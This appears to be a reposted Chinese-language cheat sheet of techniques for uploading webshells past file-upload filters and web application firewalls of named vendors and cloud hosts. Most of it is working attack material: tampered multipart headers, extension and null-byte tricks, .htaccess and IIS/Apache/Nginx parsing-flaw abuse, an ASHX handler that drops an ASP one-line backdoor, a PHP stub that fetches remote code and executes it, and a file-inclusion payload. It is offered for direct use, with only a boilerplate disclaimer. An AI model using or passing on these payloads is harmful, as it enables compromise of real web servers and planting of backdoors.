Getshell | 文件上傳繞過整理


WAF繞過

安全狗繞過

1.繞過思路:對文件的內容,數據。數據包進行處理。

關鍵點在這里Content-Disposition: form-data; name="file"; filename="ian.php"
將form-data; 修改為~form-data;

2.通過替換大小寫來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將Content-Disposition 修改為content-Disposition
將 form-data 修改為Form-data
將 Content-Type 修改為content-Type

3.通過刪減空格來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
將Content-Disposition: form-data 冒號后面 增加或減少一個空格
將form-data; name="file"; 分號后面 增加或減少一個空格
將 Content-Type: application/octet-stream 冒號后面 增加一個空格

4.通過字符串拼接繞過

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
將 form-data 修改為 f+orm-data
將 from-data 修改為 form-d+ata

5.雙文件上傳繞過

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上傳">
</form>

6.HTTP header 屬性值繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"
我們通過替換form-data 為*來繞過
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 屬性名稱繞過

源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
繞過內容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟着c.php".

8.等效替換繞過

原內容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改編碼繞過

使用UTF-16、Unicode、雙URL編碼等等

WTS-WAF 繞過上傳

原內容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回車
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度雲上傳繞過

百度雲繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里雲上傳繞過

源代碼:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
沒錯,將=號這里回車刪除掉Content-Type: image/jpeg即可繞過。

360主機上傳繞過

源代碼:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
繞過內容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改為 Content-空格Disposition

MIME類型繞過

上傳木馬時,提示格式錯誤。直接抓包修改Content-Type 為正確的格式嘗試繞過

文件內容檢測繞過

抓包,在正常圖片末尾添加一句話木馬

多次上傳Win特性繞過

多次上傳同一個文件,windows會自動更新補全TEST (1).php。
有時會觸發條件競爭,導致繞過。

條件競爭繞過

通過BURP不斷發包,導致不斷寫入Webshell,再寫入速度頻率上超過安全軟件查殺頻率,導致繞過。

CONTENT-LENGTH繞過

針對這種類型的驗證,我們可以通過上傳一些非常短的惡意代碼來繞過。上傳文件的大小取決於,Web服務器上的最大長度限制。我們可以使用不同大小的文件來fuzzing上傳程序,從而計算出它的限制范圍。

文件內容檢測繞過

針對文件內容檢測的繞過,一般有兩種方式,
1.制作圖片馬
2.文件幻術頭繞過

垃圾數據填充繞過

修改HTTP請求,再之中加入大量垃圾數據。

黑名單后綴繞過

文件擴展名繞過

Php除了可以解析php后綴 還可以解析php2.php3,php4 后綴

ashx上傳繞過

cer,asa,cdx等等無法使用時候。
解析后就會生成一個test.asp的馬,你就可以連接這個test.asp 密碼為:put
<%@ WebHandler Language="C#" class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

//這里會在目錄下生成一個test.asp的文件
StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
//這里是寫入一句話木馬 密碼是:ptu
file1.Write("<%response.clear:execute request("put"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}

}

特殊文件名繞過

比如發送的 http包里把文件名改成 test.asp. 或 test.asp_(下划線為空格),這種命名方式
在windows系統里是不被允許的,所以需要在 burp之類里進行修改,然后繞過驗證后,會
被windows系統自動去掉后面的點和空格,但要注意Unix/Linux系統沒有這個特性。

Windows流特性繞過

php在windows的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名。

白名單后綴繞過

00截斷繞過上傳

php .jpg   空格二進制20改為00
IIS 6.0 目錄路徑檢測解析繞過
上傳路徑改為
XXX/1.asp/

htaccess解析漏洞

上傳的jpg文件都會以php格式解析
.htaccess內容:
AddType application/x-httpd-php .jpg

突破MIME限制上傳

方法:找一個正常的可上傳的查看其的MIME類型,然后將馬子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一個文件名為test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,如果x3不屬於apache能夠解析的擴展名,那么apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。
2.CVE-2017-15715,這個漏洞利用方式就是上傳一個文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來繞過一些黑名單過濾。

IIS解析漏洞

IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字符串,
那么這個目錄下所有的文件都會按照asp去解析,另一個是只要文件名中含有".asp;"
會優先按asp來解析
IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就會按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。

解析漏洞

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制繞過

1.使用BURP抓包修改后重放
2.或者使用瀏覽器中元素審查,修改允許或禁止上傳文件類型。

下載繞過

遠程下載文件繞過

<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>

文件包含繞過

上傳圖片木馬
$x=$_GET['x'];
include($x);
訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg

 

推薦閱讀:

 

http://0-sec.org/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM